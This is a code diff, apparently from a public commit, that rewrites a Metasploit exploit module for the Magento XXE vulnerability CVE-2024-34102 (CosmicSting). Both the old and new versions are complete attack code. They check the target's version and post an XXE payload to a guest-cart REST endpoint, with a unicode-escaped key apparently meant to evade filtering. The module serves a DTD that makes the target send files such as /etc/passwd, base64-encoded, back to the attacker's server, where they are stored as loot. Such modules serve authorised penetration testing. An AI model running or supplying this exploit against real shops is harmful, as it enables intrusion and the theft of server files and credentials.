4
4
##
5
5
6
6
class MetasploitModule < Msf ::Exploit ::Remote
7
- Rank = ExcellentRanking
8
-
9
- include Msf ::Exploit ::Remote ::HttpClient
10
- include Msf ::Exploit ::Remote ::HttpServer
11
- include Msf ::Exploit ::FileDropper
12
-
13
- def initialize ( info = { } )
14
- super ( update_info ( info ,
15
- 'Name' => 'Magento XXE Unserialize Remote Code Execution' ,
16
- 'Description' => %q{
17
- This module exploits an XXE vulnerability in Magento 2.3.4-p2 and below which allows
7
+ Rank = ExcellentRanking
8
+
9
+ include Msf ::Exploit ::Remote ::HttpClient
10
+ include Msf ::Exploit ::Remote ::HttpServer
11
+ prepend Msf ::Exploit ::Remote ::AutoCheck
12
+
13
+ def initialize ( info = { } )
14
+ super (
15
+ update_info (
16
+ info ,
17
+ 'Name' => 'Magento XXE Unserialize Arbitrary File Read' ,
18
+ 'Description' => %q{
19
+ This module exploits a XXE vulnerability in Magento 2.4.7-p1 and below which allows an attacker to read any file on the system.
18
20
} ,
19
- 'Platform' => 'php' ,
20
- 'License' => MSF_LICENSE ,
21
- 'Author' =>
22
- [ ' Sergey Temnikov ' ] ,
23
- 'Payload' =>
24
- { } ,
25
- 'References' =>
26
- [ 'CVE' , '2024-34102' ,
27
- 'URL' , 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md'
28
- ] ,
29
- 'Arch' => ARCH_PHP ,
30
- 'Targets' =>
31
- [
32
- [ 'Automatic Targeting' , { 'auto' => true } ] ,
33
- ] ,
34
- 'DisclosureDate' => '2024-07-28' ,
35
- 'DefaultTarget' => 0 ) )
36
-
37
- register_options (
38
- [
39
- OptString . new ( 'TARGETURI' , [ true , "The base path to the web application" , "/" ] ) ,
40
- OptString . new ( 'FILE' , [ true , "The file to read" , "/etc/passwd" ] ) ,
41
- ] )
42
- end
43
-
44
-
45
- def check
46
- vprint_status ( 'Trying to get the GitLab version' )
47
-
48
- # request to check if the target is vulnerable /magento_version
49
- res = send_request_cgi ( {
50
- 'method' => 'GET' ,
51
- 'uri' => normalize_uri ( target_uri . path , '/magento_version' ) ,
52
- } )
53
-
54
- # binding.pry
55
-
56
- return CheckCode ::Unknown ( 'Could not detect the version.' ) unless res &.code == 200
57
- # Magento/2.4 (Community)
58
- version , edition = res . body . scan ( /Magento\/ ([\d .]+) \( ([^)]+)\) / ) . first
59
-
60
-
61
- return CheckCode ::Safe ( "Detected Magento #{ edition } edition version #{ version } which is not vulnerable" ) unless (
62
- version <= ( Rex ::Version . new ( '2.4.7' ) ) ||
63
- version <= ( Rex ::Version . new ( '2.4.6-p5' ) ) ||
64
- version <= ( Rex ::Version . new ( '2.4.5-p7' ) ) ||
65
- version <= ( Rex ::Version . new ( '2.4.4-p8' ) ) ||
66
- version <= ( Rex ::Version . new ( '2.4.3-ext-7' ) ) ||
67
- version <= ( Rex ::Version . new ( '2.4.2-ext-7' ) )
21
+ 'License' => MSF_LICENSE ,
22
+ 'Author' => [
23
+ 'Sergey Temnikov' , # Vulnerability discovery
24
+ 'Heyder' , # Metasploit module
25
+ ] ,
68
26
27
+ 'References' => [
28
+ [ 'CVE' , '2024-34102' ] ,
29
+ [ 'URL' , 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md' ]
30
+ ] ,
31
+ 'DisclosureDate' => '2024-06-11' ,
32
+ 'Privileged' => false ,
33
+ 'Arch' => ARCH_PHP ,
34
+ 'Platform' => 'php' ,
35
+ 'Targets' => [
36
+ [ 'Magento' , { } ]
37
+ ] ,
38
+ 'DefaultTarget' => 0 ,
39
+ 'Notes' => {
40
+ 'AKA' => [ 'CosmicSting' ] ,
41
+ 'Stability' => [ CRASH_SAFE ] ,
42
+ 'Reliability' => [ ] ,
43
+ 'SideEffects' => [ IOC_IN_LOGS ]
44
+ }
45
+ )
69
46
)
70
47
71
- CheckCode ::Vulnerable ( "Detected Magento #{ edition } edition version #{ version } which is vulnerable" )
48
+ register_options (
49
+ [
50
+ OptString . new ( 'TARGETURI' , [ true , 'The base path to the web application' , '/' ] ) ,
51
+ OptString . new ( 'FILE' , [ true , 'The file to read' , '/etc/passwd' ] )
52
+ ]
53
+ )
54
+ end
72
55
73
- end
74
-
75
- def ent_eval
76
- @ent_eval ||= rand_text_alpha_lower ( 4 ..8 )
77
- end
56
+ def check
57
+ vprint_status ( 'Trying to get the Magento version' )
78
58
79
- def leak_param_name
80
- @leak_param_name ||= rand_text_alpha_lower ( 4 ..8 )
81
- end
59
+ # request to check if the target is vulnerable /magento_version
60
+ res = send_request_cgi ( {
61
+ 'method' => 'GET' ,
62
+ 'uri' => normalize_uri ( target_uri . path , '/magento_version' )
63
+ } )
82
64
83
- def dtd_param_name
84
- @dtd_param_name ||= rand_text_alpha_lower ( 4 ..8 )
85
- end
86
-
87
- def make_xxe_dtd
88
- ent_file = rand_text_alpha_lower ( 4 ..8 )
89
- %Q|
90
- <!ENTITY % #{ ent_file } SYSTEM "php://filter/convert.base64-encode/resource=#{ datastore [ 'FILE' ] } ">
65
+ return CheckCode ::Unknown ( 'Could not detect the version.' ) unless res &.code == 200
66
+
67
+ # Magento/2.4 (Community)
68
+ version , edition = res . body . scan ( %r{Magento/([\d .]+) \( ([^)]+)\) } ) . first
69
+
70
+ return CheckCode ::Safe ( "Detected Magento #{ edition } edition version #{ version } which is not vulnerable" ) unless
71
+ version <= ( Rex ::Version . new ( '2.4.7' ) ) ||
72
+ version <= ( Rex ::Version . new ( '2.4.6-p5' ) ) ||
73
+ version <= ( Rex ::Version . new ( '2.4.5-p7' ) ) ||
74
+ version <= ( Rex ::Version . new ( '2.4.4-p8' ) ) ||
75
+ (
76
+ edition == 'Enterprise' && (
77
+ version <= ( Rex ::Version . new ( '2.4.3-ext-7' ) ) ||
78
+ version <= ( Rex ::Version . new ( '2.4.2-ext-7' ) )
79
+ )
80
+ )
81
+
82
+ CheckCode ::Vulnerable ( "Detected Magento #{ edition } edition version #{ version } which is vulnerable" )
83
+ end
84
+
85
+ def ent_eval
86
+ @ent_eval ||= rand_text_alpha_lower ( 4 ..8 )
87
+ end
88
+
89
+ def leak_param_name
90
+ @leak_param_name ||= rand_text_alpha_lower ( 4 ..8 )
91
+ end
92
+
93
+ def dtd_param_name
94
+ @dtd_param_name ||= rand_text_alpha_lower ( 4 ..8 )
95
+ end
96
+
97
+ def make_xxe_dtd ( filter_path = nil , file = nil )
98
+ file ||= datastore [ 'FILE' ]
99
+ filter_path ||= "php://filter/convert.base64-encode/resource=#{ file } "
100
+ ent_file = rand_text_alpha_lower ( 4 ..8 )
101
+ %(
102
+ <!ENTITY % #{ ent_file } SYSTEM "#{ filter_path } ">
91
103
<!ENTITY % #{ dtd_param_name } "<!ENTITY #{ ent_eval } SYSTEM 'http://#{ datastore [ 'SRVHOST' ] } :#{ datastore [ 'SRVPORT' ] } /?#{ leak_param_name } =%#{ ent_file } ;'>">
92
- |
93
- end
94
-
95
- def xxe_xml_data
96
-
97
- param_entity_name = rand_text_alpha_lower ( 4 ..8 )
98
-
99
- xml = "<?xml version='1.0' ?>"
100
- xml += "<!DOCTYPE #{ rand_text_alpha_lower ( 4 ..8 ) } "
101
- xml += "["
102
- xml += " <!ELEMENT #{ rand_text_alpha_lower ( 4 ..8 ) } ANY >"
103
- xml += " <!ENTITY % #{ param_entity_name } SYSTEM 'http://#{ datastore [ 'SRVHOST' ] } :#{ datastore [ 'SRVPORT' ] } /#{ rand_text_alpha_lower ( 4 ..8 ) } .dtd'> %#{ param_entity_name } ; %#{ dtd_param_name } ; "
104
- xml += "]"
105
- xml += "> <r>&#{ ent_eval } ;</r>"
106
-
107
- xml
108
- end
109
-
110
- def xxe_request
111
- post_data = <<~EOF
104
+ )
105
+ end
106
+
107
+ def xxe_xml_data
108
+ param_entity_name = rand_text_alpha_lower ( 4 ..8 )
109
+
110
+ xml = "<?xml version='1.0' ?>"
111
+ xml += "<!DOCTYPE #{ rand_text_alpha_lower ( 4 ..8 ) } "
112
+ xml += '['
113
+ xml += " <!ELEMENT #{ rand_text_alpha_lower ( 4 ..8 ) } ANY >"
114
+ xml += " <!ENTITY % #{ param_entity_name } SYSTEM 'http://#{ datastore [ 'SRVHOST' ] } :#{ datastore [ 'SRVPORT' ] } /#{ rand_text_alpha_lower ( 4 ..8 ) } .dtd'> %#{ param_entity_name } ; %#{ dtd_param_name } ; "
115
+ xml += ']'
116
+ xml += "> <r>&#{ ent_eval } ;</r>"
117
+
118
+ xml
119
+ end
120
+
121
+ def xxe_request
122
+ vprint_status ( 'Sending XXE request' )
123
+
124
+ signature = rand_text_alpha ( 6 )
125
+
126
+ post_data = <<~EOF
112
127
{
113
128
"address": {
129
+ "#{ signature } ": "#{ rand_text_alpha_lower ( 4 ..8 ) } ",
114
130
"totalsCollector": {
115
131
"collectorList": {
116
132
"totalCollector": {
117
- "sourceData ": {
133
+ "\u0073 \u006F \u0075 \u0072 \u0063 \u0065 \u0044 \u0061 \u0074 \u0061 ": {
118
134
"data": "#{ xxe_xml_data } ",
119
135
"options": 12345678
120
136
}
@@ -123,50 +139,61 @@ def xxe_request
123
139
}
124
140
}
125
141
}
126
- EOF
127
-
128
-
129
- res = send_request_cgi ( {
130
- 'method' => 'POST' ,
131
- 'uri' => normalize_uri ( target_uri . path , '/rest/V1/guest-carts/1/estimate-shipping-methods' ) ,
132
- 'ctype' => 'application/json' ,
133
- 'data' => post_data ,
134
- } )
135
-
136
- return true if ( res && res . body . include? ( '[]' ) )
137
-
138
- false
139
- end
140
-
141
- def exploit
142
-
143
- start_service ( {
144
- 'Uri' => {
145
- 'Proc' => proc do |cli , req |
146
- on_request_uri ( cli , req )
147
- end ,
148
- 'Path' => '/'
149
- }
150
- } )
151
- xxe_request
152
- rescue Timeout ::Error => e
153
- fail_with ( Failure ::TimeoutExpired , e . message )
154
- end
155
-
156
- def on_request_uri ( cli , req )
157
- super
158
- data = ''
159
- # vprint_status("Received request for #{req.uri}")
160
- case req . uri
161
- when /(.*).dtd/
162
- data = make_xxe_dtd
163
- when /#{ leak_param_name } /
164
- data = req . uri_parts [ 'QueryString' ] . values . first
142
+ EOF
143
+
144
+ res = send_request_cgi ( {
145
+ 'method' => 'POST' ,
146
+ 'uri' => normalize_uri ( target_uri . path , '/rest/V1/guest-carts/1/estimate-shipping-methods' ) ,
147
+ 'ctype' => 'application/json' ,
148
+ 'data' => post_data
149
+ } )
150
+
151
+ fail_with ( Failure ::UnexpectedReply , "Server returned unexpected response: #{ res . code } " ) unless res &.code == 400
152
+
153
+ body = res . get_json_document
154
+
155
+ fail_with ( Failure ::UnexpectedReply , 'Server might not be vulnerable' ) unless body [ 'parameters' ] [ 'fieldName' ] == signature
156
+ end
157
+
158
+ def exploit
159
+ start_service ( {
160
+ 'Uri' => {
161
+ 'Proc' => proc do |cli , req |
162
+ on_request_uri ( cli , req )
163
+ end ,
164
+ 'Path' => '/'
165
+ }
166
+ } )
167
+ xxe_request
168
+ rescue Timeout ::Error => e
169
+ fail_with ( Failure ::TimeoutExpired , e . message )
170
+ end
171
+
172
+ def on_request_uri ( cli , req )
173
+ super
174
+ data = ''
175
+ # vprint_status("Received request for #{req.uri}")
176
+ case req . uri
177
+ when /(.*).dtd/
178
+ vprint_status ( "Received request for DTD file from #{ cli . peerhost } " )
179
+ data = make_xxe_dtd
180
+ when /#{ leak_param_name } /
181
+ data = req . uri_parts [ 'QueryString' ] . values . first . gsub ( /\s / , '+' )
182
+ if data &.empty?
183
+ print_error ( 'No data received' )
184
+ else
165
185
print_good ( "Received file #{ datastore [ 'FILE' ] } content" )
166
- puts ( Base64 . decode64 ( data ) )
186
+
187
+ loot_type = 'text/plain'
188
+ loot_desc = 'Magento XXE CVE-2024-34102 Results'
189
+ data = ::Base64 . decode64 ( data ) . force_encoding ( 'UTF-8' )
190
+
191
+ p = store_loot ( datastore [ 'FILE' ] , loot_type , datastore [ 'RHOST' ] , data , loot_desc )
192
+ print_good ( "File saved in: #{ p } " )
167
193
end
168
-
169
- send_response ( cli , data )
170
194
end
171
-
172
- end
195
+
196
+ send_response ( cli , data )
197
+ end
198
+
199
+ end
0 commit comments